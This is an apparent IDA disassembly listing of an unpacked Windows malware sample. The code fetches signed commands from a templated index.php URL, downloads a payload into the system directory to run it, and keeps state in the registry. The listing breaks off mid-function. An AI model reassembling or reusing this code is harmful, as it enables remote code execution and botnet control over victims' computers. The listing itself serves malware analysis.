; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1CF3D9EDF8E66D0581D787C10F03E160 ; File Name : u:\work\1cf3d9edf8e66d0581d787c10f03e160_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31430000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31431000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31431004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31431008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3143100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_31432A49+1Dr dword_31431010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31431014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_31432A49+4Er ... dword_31431018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3143101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31431020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31431024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31431028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3143102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31431030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31431034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31431038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31431040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31431044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31431048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3143104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31431050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31431054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31431058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3143105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31431060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31431064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31431068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31432D2E+8Fr dword_3143106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31431070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31431074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31432C62+Fr dword_31431078 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_3143107C dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_31431080 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_314311A0+F6r ... dword_31431084 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_3143237F+57r dword_31431088 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_3143141F+64r ... dword_3143108C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31432C62+40r dword_31431090 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31432C62+1Br dword_31431094 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchange ; sub_3143185D+1r dword_31431098 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_3143109C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_314319BC+16Cr ... dword_314310A0 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_314310A4 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_314310A8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31431FAB+2Cr dword_314310AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_3143256D+124r dword_314310B0 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_314310B4 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31432AF5+92r dword_314310B8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:314324F1r dword_314310BC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_314310C0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_314310C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_3143210D+12r dword_314310C8 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_314310CC dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_314310D0 dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_314310D4 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_3143237F+66r ... dword_314310D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_3143278A+3Er ... dword_314310DC dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_314310E0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_314310E4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31432C62+C3r dd 0 dword_314310EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_314310F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_314310F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_314310F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_314310FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_3143212E:loc_3143213Fr ... ; --------------------------------------------------------------------------- loc_31431100: ; DATA XREF: UPX0:loc_31432EA0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31431104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_3143141F+1A0r ... dword_31431108 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_3143110C dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_3143141F+B4r dd 0 dword_31431114 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31431118 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_3143111C dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_31431120 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31431782+5Dr ... align 8 dword_31431128 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_31431782+9Dr dword_3143112C dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_31431782+89r dword_31431130 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31431134 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31432967r dword_31431138 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_31431782+B0r align 10h dword_31431140 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31431144 dd 71AB3E00h ; resolved to->WS2_32.binddword_31431148 dd 71AB88D3h ; resolved to->WS2_32.listendword_3143114C dd 71AC1028h ; resolved to->WS2_32.acceptdword_31431150 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31431154 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31431158 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_3143115C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_3143237F+ACr dword_31431160 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_314328D7+Dr dword_31431164 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_3143237F+F0r dword_31431168 dd 71AB406Ah ; resolved to->WS2_32.connectdword_3143116C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31432239+67r ... dword_31431170 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_314319BC+1D8r ... dword_31431174 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31432239+128r dword_31431178 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31432239+12Fr align 10h dword_31431180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31431190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314311A0 proc near ; CODE XREF: sub_3143141F+172p var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314311CB push 1 jmp loc_31431261 ; --------------------------------------------------------------------------- loc_314311CB: ; CODE XREF: sub_314311A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_31431090 ; GetSystemDirectoryA mov edi, dword_3143108C lea eax, [ebp+var_110] push offset dword_314341F8 push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_31431088 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_3143212E pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314341F0 push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31431084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31431241 push 2 jmp short loc_31431261 ; --------------------------------------------------------------------------- loc_31431241: ; CODE XREF: sub_314311A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31431128 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31431264 push [ebp+var_4] call dword_31431080 ; CloseHandle push 3 loc_31431261: ; CODE XREF: sub_314311A0+26j ; sub_314311A0+9Fj pop eax jmp short loc_314312B5 ; --------------------------------------------------------------------------- loc_31431264: ; CODE XREF: sub_314311A0+B4j mov edi, 100000h push edi call sub_31432E6C mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31431138 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3143107C ; WriteFile push [ebp+var_4] call dword_31431080 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_3143215E push ebx call sub_31432E80 add esp, 0Ch xor eax, eax loc_314312B5: ; CODE XREF: sub_314311A0+C2j pop edi pop esi pop ebx leave retn sub_314311A0 endp ; =============== S U B R O U T I N E ======================================= sub_314312BA proc near ; CODE XREF: sub_3143141F+103p ; sub_3143141F+1DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jle short locret_31431312 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314312D8: ; CODE XREF: sub_314312BA+53j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl shl bl, 4 xor dl, bl add eax, 3 mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, [esp+0Ch+arg_8] jl short loc_314312D8 pop edi pop esi pop ebx locret_31431312: ; CODE XREF: sub_314312BA+5j retn sub_314312BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431313 proc near ; CODE XREF: sub_31431398+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31431346 add ebx, 1Ah loc_31431346: ; CODE XREF: sub_31431313+2Ej movsx edi, [ebp+arg_0] mov esi, dword_3143110C lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431370 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431370: ; CODE XREF: sub_31431313+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431390 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431390: ; CODE XREF: sub_31431313+68j mov al, [ebp+arg_0] loc_31431393: ; CODE XREF: sub_31431313+5Bj ; sub_31431313+7Bj pop edi pop esi pop ebx leave retn sub_31431313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431398 proc near ; CODE XREF: sub_3143141F+E0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314313F5 mov edi, [ebp+arg_0] push ebx loc_314313AD: ; CODE XREF: sub_31431398+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31431313 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314313D9 cmp bl, 7Ah jg short loc_314313D9 movsx esi, bl sub esi, 61h loc_314313D9: ; CODE XREF: sub_31431398+34j ; sub_31431398+39j cmp bl, 41h jl short loc_314313E9 cmp bl, 5Ah jg short loc_314313E9 movsx esi, bl sub esi, 41h loc_314313E9: ; CODE XREF: sub_31431398+44j ; sub_31431398+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314313AD pop ebx jmp short loc_314313F8 ; --------------------------------------------------------------------------- loc_314313F5: ; CODE XREF: sub_31431398+Fj mov edi, [ebp+arg_0] loc_314313F8: ; CODE XREF: sub_31431398+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31431398 endp ; =============== S U B R O U T I N E ======================================= sub_314313FF proc near ; CODE XREF: sub_3143141F+10Fp ; sub_3143141F+1FCp arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31431403: ; CODE XREF: sub_314313FF+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31431403 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_314313FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143141F proc near ; CODE XREF: sub_31431782+BAp var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1CC = byte ptr -1CCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_168 = byte ptr -168h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_120 = byte ptr -120h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431180 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1DCh push ebx push esi push edi mov [ebp+var_12C], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314315B7 add esi, 4 mov [ebp+var_134], esi jz loc_314315B7 push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 50h jle loc_314315B7 lea eax, [esi+100h] mov cl, [eax] mov [ebp+var_174], cl and byte ptr [eax], 0 mov al, [esi] mov [ebp+var_16C], al movsx ebx, al sub ebx, 61h mov [ebp+var_130], ebx js loc_314315AB cmp ebx, 1Ah jge loc_314315AB inc esi mov [ebp+var_134], esi push 7Eh push esi call dword_3143110C ; strchr pop ecx pop ecx mov edi, eax mov [ebp+var_138], edi test edi, edi jz loc_314315AB mov al, [edi] mov [ebp+var_178], al and byte ptr [edi], 0 push ebx push esi lea eax, [ebp+var_120] push eax call sub_31431398 mov al, [ebp+var_178] mov [edi], al lea esi, [edi+1] mov [ebp+var_134], esi push 30h lea eax, [ebp+var_168] push eax lea eax, [esi+1] push eax call sub_314312BA lea eax, [ebp+var_168] push eax call sub_314313FF add esp, 1Ch cmp [esi], al jnz short loc_314315AB push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA add esp, 0Ch lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_168] push eax lea eax, [ebp+var_120] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 18h test eax, eax jnz short loc_3143159E cmp [ebp+var_1C], eax jz short loc_3143159E lea eax, [ebp+var_120] push eax call sub_314311A0 pop ecx and [ebp+var_12C], 0 loc_3143159E: ; CODE XREF: sub_3143141F+164j ; sub_3143141F+169j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_314315AB: ; CODE XREF: sub_3143141F+9Bj ; sub_3143141F+A4j ... mov al, [ebp+var_174] mov [esi+100h], al loc_314315B7: ; CODE XREF: sub_3143141F+4Ej ; sub_3143141F+5Dj ... push offset aZer1 ; "zer1" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_31431763 add esi, 4 mov [ebp+var_134], esi push esi call dword_31431088 ; lstrlenA mov [ebp+var_20], eax cmp eax, 5Ah jle loc_31431763 push 0Ch lea eax, [ebp+var_184] push eax push esi call sub_314312BA push 30h lea eax, [ebp+var_1B4] push eax lea eax, [esi+13h] push eax call sub_314312BA lea eax, [ebp+var_1B4] push eax call sub_314313FF add esp, 1Ch cmp [esi+12h], al jnz loc_31431763 push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_1B4] push eax push 0Ch lea eax, [ebp+var_184] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 24h test eax, eax jnz loc_31431756 cmp [ebp+var_1C], eax jz loc_31431756 push 7 pop ecx mov esi, offset aSoftwareMicros ; "Software\\Microsoft\\Wireless" lea edi, [ebp+var_1E8] rep movsd mov eax, dword_3143426C mov [ebp+var_1B8], eax push 13h lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax mov esi, 80000002h push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_314316CF lea eax, [ebp+var_1CC] push eax call dword_31431108 ; atoi pop ecx mov [ebp+var_1EC], eax jmp short loc_314316D6 ; --------------------------------------------------------------------------- loc_314316CF: ; CODE XREF: sub_3143141F+298j and [ebp+var_1EC], 0 loc_314316D6: ; CODE XREF: sub_3143141F+2AEj mov eax, [ebp+var_184] cmp [ebp+var_1EC], eax jnb short loc_3143174F mov [ebp+var_1EC], eax push eax push offset aD ; "%d" lea eax, [ebp+var_1CC] push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_1CC] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax push esi call sub_31432AA2 add esp, 14h cmp dword_31435048, 0 jnz short loc_3143173E push [ebp+var_180] jmp short loc_31431744 ; --------------------------------------------------------------------------- loc_3143173E: ; CODE XREF: sub_3143141F+315j push [ebp+var_17C] loc_31431744: ; CODE XREF: sub_3143141F+31Dj push offset dword_3143504C call dword_31431094 ; InterlockedExchange loc_3143174F: ; CODE XREF: sub_3143141F+2C3j and [ebp+var_12C], 0 loc_31431756: ; CODE XREF: sub_3143141F+247j ; sub_3143141F+250j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_31431763: ; CODE XREF: sub_3143141F+1B2j ; sub_3143141F+1CEj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_12C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_3143141F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431782 proc near ; CODE XREF: sub_3143185D+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31432E6C pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31431098 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_314317EA lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_3143502C push dword_31435044 push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_31431120 ; wsprintfA add esp, 1Ch jmp short loc_31431802 ; --------------------------------------------------------------------------- loc_314317EA: ; CODE XREF: sub_31431782+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_31431120 ; wsprintfA add esp, 0Ch loc_31431802: ; CODE XREF: sub_31431782+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31431128 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31431138 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_3143141F push esi call sub_31432E80 mov esi, dword_31431130 pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_31431782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3143185D proc near ; DATA XREF: sub_3143256D+169o push ebx mov ebx, dword_31431094 push esi push edi loc_31431866: ; CODE XREF: sub_3143185D+88j xor esi, esi mov edi, 46021h loc_3143186D: ; CODE XREF: sub_3143185D+86j inc esi inc esi call sub_314321F3 test eax, eax jz short loc_314318B7 mov al, byte_31434080[esi+esi*4] push eax push off_31434081[esi+esi*4] call sub_31431782 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314318B7 push 0 push offset dword_31435044 call ebx ; InterlockedExchange push 0 push offset dword_3143502C call ebx ; InterlockedExchange loc_314318B7: ; CODE XREF: sub_3143185D+19j ; sub_3143185D+46j call dword_314310FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31432223 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_3143109C ; Sleep cmp esi, 16h jb short loc_3143186D jmp loc_31431866 sub_3143185D endp ; =============== S U B R O U T I N E ======================================= sub_314318EA proc near ; CODE XREF: sub_3143141F+129p ; sub_3143141F+21Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31431034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 1 pop eax jmp short loc_31431935 ; --------------------------------------------------------------------------- loc_31431917: ; CODE XREF: sub_314318EA+19j ; sub_314318EA+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31431038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31431935: ; CODE XREF: sub_314318EA+2Bj pop edi pop esi pop ebx retn sub_314318EA endp ; =============== S U B R O U T I N E ======================================= sub_31431939 proc near ; CODE XREF: sub_3143141F+186p ; sub_3143141F+33Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3143102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31431030 ; CryptReleaseContext xor eax, eax pop esi retn sub_31431939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431955 proc near ; CODE XREF: sub_3143141F+15Ap ; sub_3143141F+23Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3143101C ; CryptCreateHash test eax, eax jnz short loc_3143197B push 1 pop eax jmp short loc_314319B8 ; --------------------------------------------------------------------------- loc_3143197B: ; CODE XREF: sub_31431955+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31431020 ; CryptHashData test eax, eax jnz short loc_31431994 push 2 pop edi jmp short loc_314319AD ; --------------------------------------------------------------------------- loc_31431994: ; CODE XREF: sub_31431955+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31431024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314319AD: ; CODE XREF: sub_31431955+3Dj push [ebp+arg_0] call dword_31431028 ; CryptDestroyHash mov eax, edi loc_314319B8: ; CODE XREF: sub_31431955+24j pop edi pop esi pop ebp retn sub_31431955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314319BC proc near ; CODE XREF: sub_31432728+35p ; sub_3143278A+47p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31432EC0 mov eax, dword_31434CAC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31434CB0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3143115C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31431F1C push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31431160 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_314310A0 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31434CA0 push eax call dword_31431120 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31431A2F: ; CODE XREF: 